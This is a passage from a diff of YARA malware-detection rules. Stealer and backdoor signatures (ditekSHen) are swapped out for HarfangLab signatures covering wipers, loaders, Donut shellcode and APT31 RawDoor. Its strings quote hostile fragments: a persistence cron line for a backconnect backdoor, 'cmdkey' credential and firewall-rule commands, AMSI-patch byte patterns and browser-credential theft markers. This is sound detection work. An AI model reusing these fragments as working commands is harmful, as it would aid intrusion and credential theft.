+		$a10 = "<|ITAU-TK-APP|>" wide fullword
+		$dga = { 76 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 78 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 7A 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 77 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 6B 00 00 00 B0 04 02 00 FF FF FF FF 01 00 00 00 79 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 1 of ($s*)) or (6 of ($s*)))
+		$dga and (4 of ($a*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Rustystealer : FILE
+rule HARFANGLAB_Charmingkitten_Cyclops : FILE
 {
 	meta:
-		description = "Detect Rusty / Luca stealer"
-		author = "ditekSHen"
-		id = "af39f88c-e0df-51f6-bb11-f3a7231180d0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10620-L10643"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e60e66360c8f97a31e75cd90a12519f75f3a672874fc985a8da1d4d02e185b4d"
+		description = "Detects Cyclops Golang Malware"
+		author = "HarfangLab"
+		id = "2cc7b2ff-25ca-5eac-a607-c3ee5136e0aa"
+		date = "2024-08-05"
+		modified = "2024-08-27"
+		reference = "TRR240801"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L254-L274"
+		license_url = "N/A"
+		hash = "fafa68e626f1b789261c4dd7fae692756cf71881c7273260af26ca051a094a69"
+		logic_hash = "70ab3f44b6889d478a94dc6aefcd30f0e82e0b80bcf26921167b72f35bdb7fa8"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$s1 = "EdgeMicrosoftedgechromiumChromium7star7StaramigoAmigobraveBrave" ascii
-		$s2 = "BrowserchromeChromekometaKometaorbitumOrbitumsputnikSputniktorchTorchucozmediaUranuCozMediavivaldiVivaldiatom" ascii
-		$s3 = ".kdbx.pdf.doc.docx.xls.xlsx.ppt.pptx.odt.odp\\logscx\\sensfiles.zip" ascii
-		$s4 = "dumper.rs" ascii
-		$s5 = "decryption_core.rs" ascii
-		$s6 = "anti_emulation.rs" ascii
-		$s7 = "discord.rs" ascii
-		$s8 = /\\logscx\\(passwords_|cookies_|creditcards_)/ ascii
-		$s9 = "VirtualBoxVBoxVMWareVMCountry" ascii
-		$s10 = "New Log From ( /  )" ascii
-		$s11 = "BrowserChromeKometaOrbitumSputnikTorchUranuCozMediaVivaldiAtomMail" ascii
-		$s12 = "BrowserBraveSoftwareCentBrowserChedotChrome" ascii
-		$s13 = "ChromeKometaOrbitumSputnikTorchUranuCozMediaVivaldi" ascii
-		$s14 = "hostnameencryptedUsernameencryptedPasswordstruct" ascii
-		$s15 = "encryptedPassword" fullword ascii
-		$s16 = "AutoFill@~" fullword ascii
+		$go = " Go build ID: \"" ascii
+		$a1 = "dep\tback-service\t(devel)" ascii fullword
+		$a2 = "/brain-loader-enc.go\x00" ascii
+		$a3 = "back-service/go-mux/api" ascii
+		$a4 = "/JD-M42KItJncJfqb38qh/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		filesize >2MB and filesize <20MB and ( uint16(0)==0x5A4D) and $go and (2 of ($a*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Simplepacker : FILE
+rule HARFANGLAB_Samecoin_Campaign_Loader : FILE
 {
 	meta:
-		description = "Detects Hydrochasma packer / dropper"
-		author = "ditekSHen"
-		id = "449f7531-408f-5bda-aa64-d148c363c3e5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10645-L10656"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e2c07947fdf53814669250052f6cceb7412aa302422f3a0b430879da638c7e6a"
+		description = "Matches the loader used in the SameCoin campaign"
+		author = "HarfangLab"
+		id = "ab4d59f6-300d-5cdf-b91f-87f8cc1f0eac"
+		date = "2024-02-13"
+		modified = "2024-08-27"
+		reference = "TRR240201"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L275-L295"
+		license_url = "N/A"
+		hash = "cff976d15ba6c14c501150c63b69e6c06971c07f8fa048a9974ecf68ab88a5b6"
+		logic_hash = "7df04ab208d2caa5a137b1c3481ef734df54bbe8330979f524b16e9ba8cf48d5"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$p1 = "\\cloud-compiler-" ascii
-		$p2 = "\\deps\\simplepacker.pdb" ascii
-		$s1 = "uespemosarenegylmodnarodsetybdetqueue" ascii
-		$s2 = "None{\"" ascii
+		$hebrew_layout = "0000040d" fullword ascii
+		$runas = "runas" fullword ascii
+		$jpg_magic = { FF D8 FF E0 00 10 4A 46 49 46 00 01 }
+		$wl_1 = "C:\\Users\\Public\\Microsoft Connection Agent.jpg" ascii
+		$wl_2 = "C:\\Users\\Public\\Video.mp4" ascii
+		$wl_3 = "C:\\Users\\Public\\Microsoft System Agent.exe" ascii
+		$wl_4 = "C:\\Users\\Public\\Microsoft System Manager.exe" ascii
+		$wl_5 = "C:\\Users\\Public\\Windows Defender Agent.exe"
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($p*) or (1 of ($p*) and all of ($s*)))
+		uint16(0)==0x5A4D and filesize >5MB and filesize <7MB and $hebrew_layout and $runas and $jpg_magic and 3 of ($wl_*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Multi_Golangbypassav : FILE
+rule HARFANGLAB_Samecoin_Campaign_Wiper : FILE
 {
 	meta:
-		description = "Detect Go executables using GolangBypassAV"
-		author = "ditekSHen"
-		id = "bd41ff7e-ce57-5bee-b6ca-9341b4c1c1fa"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10697-L10707"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "842dfc7c04cbd19bbbc8b6fbf9d9925f81a21dfb713af4542ca4157d64fa5b51"
+		description = "Matches the wiper used in the SameCoin campaign"
+		author = "HarfangLab"
+		id = "695e9181-cc96-5212-b33c-4d55065b7b85"
+		date = "2024-02-13"
+		modified = "2024-08-27"
+		reference = "TRR240201"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L296-L314"
+		license_url = "N/A"
+		hash = "e6d2f43622e3ecdce80939eec9fffb47e6eb7fc0b9aa036e9e4e07d7360f2b89"
+		logic_hash = "ebe7c90398464ecf74ede17551c2ebc58b851ba6502092320934d1f5353581a2"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
-		clamav1 = "MALWARE.Win.Trojan.GolangBypassAV"
-		clamav2 = "MALWARE.Linux.Trojan.GolangBypassAV"
+		context = "file"
 
 	strings:
-		$s1 = "/GolangBypassAV/gen/" ascii
+		$code = { 68 57 04 00 00 50 E8 }
+		$wl_1 = "C:\\Users\\Public\\Microsoft Connection Agent.jpg" ascii
+		$wl_2 = "C:\\Users\\Public\\Video.mp4" ascii
+		$wl_3 = "C:\\Users\\Public\\Microsoft System Agent.exe" ascii
+		$wl_4 = "C:\\Users\\Public\\Microsoft System Manager.exe" ascii
+		$wl_5 = "C:\\Users\\Public\\Windows Defender Agent.exe" ascii
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 1 of them
+		uint16(0)==0x5A4D and filesize <200KB and $code and 3 of ($wl_*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Blankstealer : FILE
+rule HARFANGLAB_Samecoin_Campaign_Tasksspreader : FILE
 {
 	meta:
-		description = "Detects BlankStealer / BlankGrabber / Blank-c Stealer"
-		author = "ditekSHen"
-		id = "19686781-4be8-56c1-b606-d8fe14dbdc48"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10709-L10721"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cc0c8d3e0061d192e445ef661387360644ab428a9e9fc2480e966db96bc8264c"
+		description = "Detect .NET Task Scheduler that is dropper by SameCoin Loader"
+		author = "HarfangLab"
+		id = "7dcfdecd-00c3-502a-b29e-a10a1fd9543f"
+		date = "2024-02-13"
+		modified = "2024-08-27"
+		reference = "TRR240201"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L315-L352"
+		license_url = "N/A"
+		hash = "b447ba4370d9becef9ad084e7cdf8e1395bafde1d15e82e23ca1b9808fef13a7"
+		logic_hash = "61d602c343365608e5bc587ee9c7898e256f2411d78c7fe74c211e68bf4ab707"
 		score = 75
-		quality = 75
+		quality = 78
 		tags = "FILE"
-		snort = "923829001"
+		context = "file"
 
 	strings:
-		$s1 = "Blank-c" ascii
-		$s2 = "Stealer License" ascii
-		$s3 = "UID=" ascii
-		$h1 = { 42 6c 61 6e 6b 2d 63 0a 53 74 65 61 6c 65 72 20 4c 69 63 65 6e 73 65 0a 55 49 44 3d }
+		$dotNet = ".NETFramework,Version" ascii fullword
+		$a1 = "System.DirectoryServices.ActiveDirectory" ascii fullword
+		$a2 = "GetTypeFromProgID" ascii fullword
+		$a3 = "DirectorySearcher" ascii fullword
+		$a4 = "SearchResultCollection" ascii fullword
+		$a5 = "UnaryOperation" ascii fullword
+		$b1 = "$dc1b29f0-9a87-4383-ad8b-01285614def1" ascii fullword
+		$b2 = "Windows Defender Agent" ascii fullword
+		$b3 = "Windows Defender Agent.exe" wide ascii fullword
+		$b4 = /(\\)?C(:|\$)\\Users\\Public\\Microsoft System Agent\.exe/ wide fullword
+		$b5 = "MicrosoftEdgeUpdateTaskMachinesCores" wide fullword
+		$b6 = "WindowsUpdate" wide fullword
+		$c1 = "RegisterTaskDefinition" wide fullword
+		$c2 = "DisallowStartIfOnBatteries" wide fullword
+		$c3 = "StopIfGoingOnBatteries" wide fullword
+		$c4 = "Schedule.Service" wide fullword
+		$c5 = "\\Domain Users" wide fullword
+		$c6 = "(objectClass=computer)" wide fullword
 
 	condition:
-		( uint16(0)==0x4152 and 2 of them ) or ( all of ($s*) or 1 of ($h*))
+		filesize >8KB and filesize <40KB and ( uint16be(0)==0x4D5A) and $dotNet and (4 of ($a*)) and ((( any of ($b*)) and ( any of ($c*))) or ( all of ($c*)))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Linux_Getshell : FILE
+rule HARFANGLAB_Samecoin_Campaign_Nativewiper : FILE
 {
 	meta:
-		description = "Detect GetShell Linux backdoor"
-		author = "ditekSHen"
-		id = "cccad93d-cd49-5237-96ac-66c9ac6ef532"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10723-L10743"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9d44ad2a3c270eed0e905402e8c32dcca54da90f4229d9d59874ee09b3b47277"
+		description = "Matches the native Android library used in the SameCoin campaign"
+		author = "HarfangLab"
+		id = "9c77c26e-50f7-5ee4-bc6b-c0333e268b2c"
+		date = "2024-02-13"
+		modified = "2024-08-27"
+		reference = "TRR240201"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L353-L373"
+		license_url = "N/A"
+		hash = "248054658277e6971eb0b29e2f44d7c3c8d7c5abc7eafd16a3df6c4ca555e817"
+		logic_hash = "2779664830df3b5be72b7fe7d4da3d27e2a86b289ee3974596abf1df12317cd8"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
-		clamav1 = "MALWARE.Linux.Trojan.GetShell"
+		context = "file"
 
 	strings:
-		$x1 = "cat <(echo '@reboot echo socks5_backconnect" ascii
-		$x2 = "(cd  && )') <(sed '/socks5_backconnect" ascii
-		$s1 = "cat <(echo '@" ascii
-		$s2 = "(cd  && )') <(sed '" ascii
-		$s3 = "PORT1:" ascii
-		$s4 = "HOST1:" ascii
-		$s5 = "queryheader" ascii
-		$s6 = "qsectionpost" ascii
-		$s7 = "packedip" ascii
-		$s8 = "copydata" ascii
-		$s9 = "synsend" ascii
-		$s10 = "bc_connect" ascii
+		$native_export = "Java_com_example_exampleone_MainActivity_deleteInCHunks" ascii
+		$f1 = "_Z9chunkMainv" ascii
+		$f2 = "_Z18deleteFilesInChunkRKNSt6__" ascii
+		$f3 = "_Z18overwriteWithZerosPKc" ascii
+		$s1 = "/storage/emulated/0/" ascii
+		$s2 = "FileLister" ascii
+		$s3 = "Directory chunks deleted."
+		$s4 = "Current Chunk Size is:  %dl\n" ascii
 
 	condition:
-		uint16(0)==0x457f and (( all of ($x*) and 1 of ($s*)) or 5 of ($s*))
+		filesize <500KB and uint32(0)==0x464C457F and ($native_export or all of ($f*) or all of ($s*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Solarmarker : FILE
+rule HARFANGLAB_Supposed_Grasshopper_Downloader : FILE
 {
 	meta:
-		description = "Detects SolarMarker"
-		author = "ditekSHen"
-		id = "78c2f739-76b2-5a80-8b9a-6c677d578eaa"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10745-L10763"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "84182c8948c2f40439cd932885ae8b88bb677ecc9fba366f22d30e13dc4ffb68"
+		description = "Detects the Nim downloader from the Supposed Grasshopper campaign."
+		author = "HarfangLab"
+		id = "e53656b5-a1be-53f0-a4d4-908f24e08bd6"
+		date = "2024-06-20"
+		modified = "2024-08-27"
+		reference = "TRR240601"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L374-L389"
+		license_url = "N/A"
+		logic_hash = "93509319ab8028b0215fcfb81d1ff5d3d810922999f1dd8359b706a965221b2f"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file,memory"
 
 	strings:
-		$x1 = "token_type" fullword ascii
-		$x2 = "request_data" fullword ascii
-		$x3 = "request_timeout" fullword ascii
-		$x4 = { 74 6f 6b 65 6e 73 00 66 72 6f 6d 00 74 6f 00 73 5f (66|72) }
-		$s1 = "set_UseShellExecute" fullword ascii
-		$s2 = "<Select>b__0" fullword ascii
-		$s3 = "<get>b__e" fullword ascii
-		$s4 = "<get>b__10" fullword ascii
-		$s5 = "<get>b__f" fullword ascii
-		$s6 = "<set>b__0" fullword ascii
-		$s7 = "<set>b__1" fullword ascii
+		$pdb_path = "C:\\Users\\or\\Desktop\\nim-" ascii
+		$code = "helo.nim" ascii
+		$function_1 = "DownloadExecute" ascii fullword
+		$function_2 = "toByteSeq" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) and 4 of ($s*))
+		uint16(0)==0x5a4d and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWRE_Win_Darkgate : FILE
+rule HARFANGLAB_Donut_Shellcode : FILE
 {
 	meta:
-		description = "Detects DarkGate infostealer and coinminer"
-		author = "ditekSHen"
-		id = "4488e1e6-daac-5832-8326-3151c834daf1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10765-L10789"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "805a04bbb3915d539e76927393384a2786c25490e8b9fc151d5b12415247578b"
+		description = "Detects Donut shellcode in memory."
+		author = "HarfangLab"
+		id = "54facb12-3f33-5430-b4bf-0d223dc2a413"
+		date = "2024-06-20"
+		modified = "2024-08-27"
+		reference = "TRR240601"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L390-L438"
+		license_url = "N/A"
+		logic_hash = "1bf4e253195e39cc0b3cf45797c35a9f06078350aa35e65d9d36adbcc09a150b"
 		score = 75
-		quality = 25
+		quality = 80
 		tags = "FILE"
+		context = "memory"
 
 	strings:
-		$x1 = "SYSTEM Elevation: Completed, new DarkGate connection with SYSTEM privileges" ascii
-		$x2 = "-u 0xDark" ascii
-		$x3 = "DarkGate" ascii
-		$x4 = "/c cmdkey /generic:\"127.0.0.2\" /user:\"SafeMode\" /pass:\"darkgatepassword0\"" ascii
-		$s1 = "c:\\temp\\crash.txt" ascii
-		$s2 = "/cookiesfile \"" ascii
-		$s3 = "/c rmdir /s /q \"" ascii
-		$s4 = "/c xcopy /E /I /Y \"%s\" \"%s\" && exit" ascii
-		$s5 = "U_MemScan" ascii
-		$s6 = "U_Google_AD" ascii
-		$s7 = "untBotUtils" ascii
-		$s8 = "____padoru____" ascii
-		$s9 = "u_SysHook" ascii
-		$s10 = "zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=" ascii
-		$s11 = "C:\\Windows\\System32\\ntdll.dll" fullword ascii
-		$s12 = /(SYSTEM )?Elevation: (Cannot|I already|AT RAW|FAILURE)/ ascii
-		$s13 = /Stub: (WARNING:|Configuration updated:|Global Ping Invoked)/ ascii
+		$amsi_patch = { 48 8B 44 24 (28 | 30) 83 20 00 33 C0 C3 }
+		$wldp_patch = { 41 C7 00 01 00 00 00 33 C0 C3 }
+		$api_hashing = { 8B C2 C1 C9 08 41 03 C8 8B D3 41 33 C9 C1 CA 08 41 03 D1 41 C1 C0 03 41 33 D2 41 C1 C1 03 44 33 CA 44 33 C1 41 FF C2 41 8B DB 44 8B D8 41 83 FA 1B }
+		$loaded_dlls = "ole32;oleaut32;wininet;mscoree;shell32" ascii
+		$function_1 = "WldpQueryDynamicCodeTrust" ascii
+		$function_2 = "WldpIsClassInApprovedList" ascii
+		$function_3 = "AmsiInitialize" ascii
+		$function_4 = "AmsiScanBuffer" ascii
+		$function_5 = "AmsiScanString" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and ((3 of ($x*)) or (2 of ($x*) and 3 of ($s*)) or (1 of ($x*) and 5 of ($s*)) or (6 of ($s*)))) or (10 of them )
+		uint8(0)==0xE8 and ((#amsi_patch>1 and $wldp_patch and $api_hashing) or ($loaded_dlls and all of ($function_*)))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Rookie_Downloader : FILE
+rule HARFANGLAB_Muddywater_Ateraagent_Operators : FILE
 {
 	meta:
-		description = "Detect malware downlaoder, variant of ZombieBoy downloader"
-		author = "ditekSHen"
-		id = "a991eecb-5275-5e33-bea4-e709590474a8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10791-L10804"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6d5625c2cd7e3a51c2fce9948e691ff2d1b7cf85083708790f89e15c6522059b"
+		description = "Detect Atera Agent abused by MuddyWater"
+		author = "HarfangLab"
+		id = "1494a0da-92de-5cfb-a870-325d02e2cdfb"
+		date = "2024-04-17"
+		modified = "2024-08-27"
+		reference = "TRR240402"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L439-L469"
+		license_url = "N/A"
+		hash = "9b49d6640f5f0f1d68f649252a96052f1d2e0822feadd7ebe3ab6a3cadd75985"
+		logic_hash = "63d5d3a6723191dccd20c8d9f25607df512b91f57ac891ef8c87b2dd107ee5a2"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
-		clamav1 = "MALWARE.Win.Trojan.RookIE-Downloader"
+		context = "file"
 
 	strings:
-		$s1 = "shell:::{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}" fullword ascii
-		$s2 = "taskkill /f /im hh.exe" fullword ascii
-		$s3 = "RookIE/1.0" fullword ascii
-		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0" fullword ascii
-		$s5 = "#32770" fullword ascii
+		$s1 = "COMPANYID001Q3000009snPyIAIACCOUNTID"
+		$s2 = "COMPANYID001Q3000006FpmoIACACCOUNTID"
+		$s3 = "COMPANYID001Q3000008IyacIACACCOUNTID"
+		$s4 = "COMPANYID001Q3000009QoSEIA0ACCOUNTID"
+		$s5 = "COMPANYID001Q30000023c7iIAAACCOUNTID"
+		$s6 = "COMPANYID001Q3000008qXbDIAUACCOUNTID"
+		$s7 = "COMPANYID001Q3000008cfLjIAIACCOUNTID"
+		$s8 = "COMPANYID001Q3000007hJubIAEACCOUNTID"
+		$s9 = "COMPANYID001Q3000008ryO3IAIACCOUNTID"
+		$s10 = "COMPANYID001Q300000A5nnAIARACCOUNTID"
+		$s11 = "COMPANYID001Q3000008JfioIACACCOUNTID"
+		$s12 = "COMPANYID001Q300000BeUp3IAFACCOUNTID"
+		$s13 = "COMPANYID001Q3000005gMamIAEACCOUNTID"
+		$s15 = "mrrobertcornish@gmail.comINTEGRATORLOGINCOMPANYID"
+		$cert1 = { 0A 28 49 99 78 E5 89 8D F4 0A 23 8E B8 A5 52 E8 }
+		$cert2 = { 06 7F 60 47 95 66 24 A7 15 99 61 74 3D 81 94 93 }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		filesize >1MB and filesize <4MB and ( uint16be(0)==0xD0CF) and any of ($s*) and any of ($cert*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Fiber : FILE
+rule HARFANGLAB_Apt31_Rawdoor_Dropper : FILE
 {
 	meta:
-		description = "Detects Fiber .NET injector"
-		author = "ditekSHen"
-		id = "0e562e2e-cb91-5acf-bb8f-5e7e7d971a3d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10806-L10842"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bd6c2c02272fe59c8d7de533197f15d94b5532d32875f01e3e4bd52506456a34"
+		description = "Matches the RawDoor dropper"
+		author = "HarfangLab"
+		id = "b278a157-20e2-5271-aca0-0692929b881d"
+		date = "2024-04-12"
+		modified = "2024-08-27"
+		reference = "TRR240401"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L470-L491"
+		license_url = "N/A"
+		hash = "c3056e39f894ff73bba528faac04a1fc86deeec57641ad882000d7d40e5874be"
+		logic_hash = "d0cbe02c4fafb4895bd0126d2496802a3fee6a0362e55bfa91cfd1c75043d94a"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$x1 = "Fiber.dll" fullword ascii
-		$s1 = "-WindowStyle Hidden Copy-Item -Path *.vbs -Destination" wide
-		$s2 = "-WindowStyle Hidden {0} -WindowStyle Hidden Start-Sleep 5; Start-Process {1}" wide
-		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$s4 = "WScript.Shell" fullword wide
-		$s5 = "{0}_{1:N}.lnk" fullword wide
-		$s6 = "notepad.exe,0" fullword wide
-		$i1 = "AppLaunch.exe" fullword wide
-		$i2 = "aspnet_regbrowsers.exe" fullword wide
-		$i3 = "cvtres.exe" fullword wide
-		$i4 = "ilasm.exe" fullword wide
-		$i5 = "jsc.exe" fullword wide
-		$i6 = "MSBuild.exe" fullword wide
-		$i7 = "RegAsm.exe" fullword wide
-		$i8 = "RegSvcs.exe" fullword wide
-		$v1 = "is tampered" wide
-		$v2 = "Debugger Detected" wide
-		$v3 = "RepositoryUrl" ascii
-		$v4 = { 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00
-                74 00 75 00 61 00 6c 00 20 00 00 0b 41 00 6c 00
-                6c 00 6f 00 63 00 00 0d 57 00 72 00 69 00 74 00
-                65 00 20 00 00 11 50 00 72 00 6f 00 63 00 65 00
-                73 00 73 00 20 00 00 0d 4d 00 65 00 6d 00 6f 00
-                72 00 79 00 00 0f 50 00 72 00 6f 00 74 00 65 00
-                63 00 74 00 00 0b 4f 00 70 00 65 00 6e 00 20 00
-                00 0f 50 00 72 00 6f 00 63 00 65 00 73 00 73 00
-                00 0d 43 00 6c 00 6f 00 73 00 65 00 20 00 00 0d
-                48 00 61 00 6e 00 64 00 6c 00 65 00 00 0f 6b 00
-                65 00 72 00 6e 00 65 00 6c }
+		$service_target = "%SystemRoot%\\system32\\svchost.exe -k netsvcs" ascii
+		$service_dispname = "Microsoft .NET Framework NGEN" ascii
+		$drop_name = "~DF313.msi" ascii
+		$msg1 = "RegOpenKeyEx %s  error:%d\x0D\x0A" ascii
+		$msg2 = "RegDeleteValue Wow64 . %d\x0D\x0A" ascii
+		$msg3 = "CreateService %s success! but Start Faile.. %d\x0D\x0A" ascii
+		$msg4 = "OutResFile to %s%s False!" ascii
+		$msg5 = "Can't GetNetSvcs Buffer!" ascii
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*) and 2 of ($i*)) or (4 of ($s*) and 4 of ($i*)) or (2 of ($s*) and 6 of ($i*)) or (1 of ($x*) and 3 of ($v*)) or ( all of ($v*)))
+		uint16(0)==0x5A4D and filesize >350KB and filesize <600KB and (($service_target and $service_dispname and $drop_name) or 3 of ($msg*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Unknown_Packedloader_01 : FILE
+rule HARFANGLAB_Apt31_Rawdoor_Payload : FILE
 {
 	meta:
-		description = "Detects unknown loader / packer. Observed running LummaStealer"
-		author = "ditekShen"
-		id = "2969090f-dff9-5745-b87d-a031741dd2e0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10844-L10863"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6fd9075793b55e04c68bb13d21b88741889a9c37a0a9d1a19d895c7b68af4506"
+		description = "Matches the RawDoor payload"
+		author = "HarfangLab"
+		id = "5fef27fe-a2ea-56b4-8cf6-8f6c4bf85d80"
+		date = "2024-04-12"
+		modified = "2024-08-27"
+		reference = "TRR240401"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L492-L516"
+		license_url = "N/A"
+		hash = "fade96ec359474962f2167744ca8c55ab4e6d0700faa142b3d95ec3f4765023b"
+		logic_hash = "51bd04603419d5bc77f12618df986f6b31ea8ddea553c6bc7580698fa236b3ed"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$s1 = "Error at hooking API \"%S\"" wide
-		$s2 = "Dumping first %d bytes:" wide
-		$s3 = "Error at initialization of bundled DLL: %s" wide
-		$s4 = "GetMemoryForDLL()" ascii
-		$s5 = "type=activation&code=" ascii
-		$s6 = "activation.php?code=" ascii
-		$s7 = "&hwid=" ascii
-		$s8 = "&hash=" ascii
-		$s9 = "type=deactivation&hash=" ascii
-		$s10 = "deactivation.php?hash=" ascii
-		$s11 = "BANNED" fullword ascii
-		$s12 = "GetAdaptersInfo" ascii
+		$name = "\x0D\x0A=================RawDoor %g================\x0D\x0A" ascii
+		$key = /SOFTWARE\\Clients\\Netra(u|w)/ ascii
+		$cmd1 = "Shell <powershell.exe path>" ascii
+		$cmd2 = "Selfcmd <self cmd string>" ascii
+		$cmd3 = "Wsrun <process name>" ascii
+		$cmd4 = "ping 127.0.0.1 > nul\x0D\x0A"
+		$cmd5 = "/c netsh advfirewall firewall add rule name=" ascii
+		$msg1 = "Allocate pSd memory to failed!" ascii
+		$msg2 = "Allocate SID or ACL to failed!" ascii
+		$msg3 = "OpenSCManager error:%d" ascii
+		$msg4 = "%u:TCP:*:Enabled:%u" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 11 of them
